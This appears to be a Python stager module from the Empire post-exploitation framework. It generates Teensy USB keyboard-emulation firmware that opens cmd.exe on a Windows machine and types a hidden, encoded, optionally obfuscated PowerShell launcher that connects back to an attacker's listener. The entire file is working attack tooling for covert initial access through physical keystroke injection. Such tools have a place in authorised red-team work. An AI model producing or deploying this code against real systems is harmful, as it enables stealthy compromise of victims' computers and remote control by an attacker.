from __future__ import print_function
from builtins import object
from empire.server.common import helpers


class Stager(object):

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'TeensyLauncher',

            'Author': ['@matterpreter'],

            'Description': 'Generates a Teensy script that runes a one-liner stage0 launcher for Empire.',

            'Comments': ['']
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener': {
                'Description': 'Listener to generate stager for.',
                'Required': True,
                'Value': ''
            },
            'Language': {
                'Description': 'Language of the stager to generate.',
                'Required': True,
                'Value': 'powershell',
                'SuggestedValues': ['powershell'],
                'Strict': True
            },
            'StagerRetries': {
                'Description': 'Times for the stager to retry connecting.',
                'Required': False,
                'Value': '0'
            },
            'OutFile': {
                'Description': 'File to output duckyscript to.',
                'Required': True,
                'Value': '/tmp/teensy.ino'
            },
            'Obfuscate': {
                'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
                'Required': False,
                'Value': 'False',
                'SuggestedValues': ['True', 'False'],
                'Strict': True
            },
            'ObfuscateCommand': {
                'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
                'Required': False,
                'Value': r'Token\All\1'
            },
            'UserAgent': {
                'Description': 'User-agent string to use for the staging request (default, none, or other).',
                'Required': False,
                'Value': 'default'
            },
            'Proxy': {
                'Description': 'Proxy to use for request (default, none, or other).',
                'Required': False,
                'Value': 'default'
            },
            'ProxyCreds': {
                'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required': False,
                'Value': 'default'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value

    def generate(self):

        # extract all of our options
        language = self.options['Language']['Value']
        listener_name = self.options['Listener']['Value']
        user_agent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxy_creds = self.options['ProxyCreds']['Value']
        stager_retries = self.options['StagerRetries']['Value']
        obfuscate = self.options['Obfuscate']['Value']
        obfuscate_command = self.options['ObfuscateCommand']['Value']

        obfuscate_script = False
        if obfuscate.lower() == "true":
            obfuscate_script = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=True,
                                                           obfuscate=obfuscate_script,
                                                           obfuscationCommand=obfuscate_command, userAgent=user_agent,
                                                           proxy=proxy, proxyCreds=proxy_creds,
                                                           stagerRetries=stager_retries)

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        elif obfuscate and "launcher" in obfuscate_command.lower():
            print(helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the teensy stager."))
            return ""
        else:
            enc = launcher.split(" ")[-1]
            send_enc = "Keyboard.print(\""
            send_enc += enc
            send_enc += "\");\n"
            teensy_code = "unsigned int lock_check_wait = 1000;\n"
            teensy_code += "int ledKeys(void) {return int(keyboard_leds);}\n"
            teensy_code += "boolean isLockOn(void)  {\n"
            teensy_code += "    return ((ledKeys() & 2) == 2) ? true : false;\n"
            teensy_code += "}\n\n"
            teensy_code += "void clearKeys (){\n"
            teensy_code += "    delay(200);\n"
            teensy_code += "    Keyboard.set_key1(0);\n"
            teensy_code += "    Keyboard.set_key2(0);\n"
            teensy_code += "    Keyboard.set_key3(0);\n"
            teensy_code += "    Keyboard.set_key4(0);\n"
            teensy_code += "    Keyboard.set_key5(0);\n"
            teensy_code += "    Keyboard.set_key6(0);\n"
            teensy_code += "    Keyboard.set_modifier(0);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "}\n\n"
            teensy_code += "void toggleLock(void) {\n"
            teensy_code += "    Keyboard.set_key1(KEY_CAPS_LOCK);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void wait_for_drivers(void) {\n"
            teensy_code += "    boolean numLockTrap = isLockOn();\n"
            teensy_code += "    while(numLockTrap == isLockOn()) {\n"
            teensy_code += "        toggleLock();\n"
            teensy_code += "        delay(lock_check_wait);\n"
            teensy_code += "    }\n"
            teensy_code += "    toggleLock();\n"
            teensy_code += "    delay(lock_check_wait);\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_minWindows(void) {\n"
            teensy_code += "    delay(300);\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.set_key1(KEY_M);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_restoreWindows(void) {\n"
            teensy_code += "    delay(300);\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    Keyboard.set_key1(KEY_M);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_run(void) {\n"
            teensy_code += "    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n"
            teensy_code += "    Keyboard.set_key1(KEY_R);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void win_openCmd(void) {\n"
            teensy_code += "    delay(300);\n"
            teensy_code += "    win_run();\n"
            teensy_code += "    Keyboard.print(\"cmd.exe\");\n"
            teensy_code += "    Keyboard.set_key1(KEY_ENTER);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "}\n\n"
            teensy_code += "void empire(void) {\n"
            teensy_code += "    wait_for_drivers();\n"
            teensy_code += "    win_minWindows();\n"
            teensy_code += "    delay(1000);\n"
            teensy_code += "    win_openCmd();\n"
            teensy_code += "    delay(1000);\n"
            teensy_code += "    Keyboard.print(\"powershell -W Hidden -nop -noni -enc \");\n"
            teensy_code += "    "
            teensy_code += send_enc
            teensy_code += "    Keyboard.set_key1(KEY_ENTER);\n"
            teensy_code += "    Keyboard.send_now();\n"
            teensy_code += "    clearKeys();\n"
            teensy_code += "    win_restoreWindows();\n"
            teensy_code += "}\n\n"
            teensy_code += "void setup(void) {\n"
            teensy_code += "    empire();\n"
            teensy_code += "}\n\n"
            teensy_code += "void loop() {}"

            return teensy_code
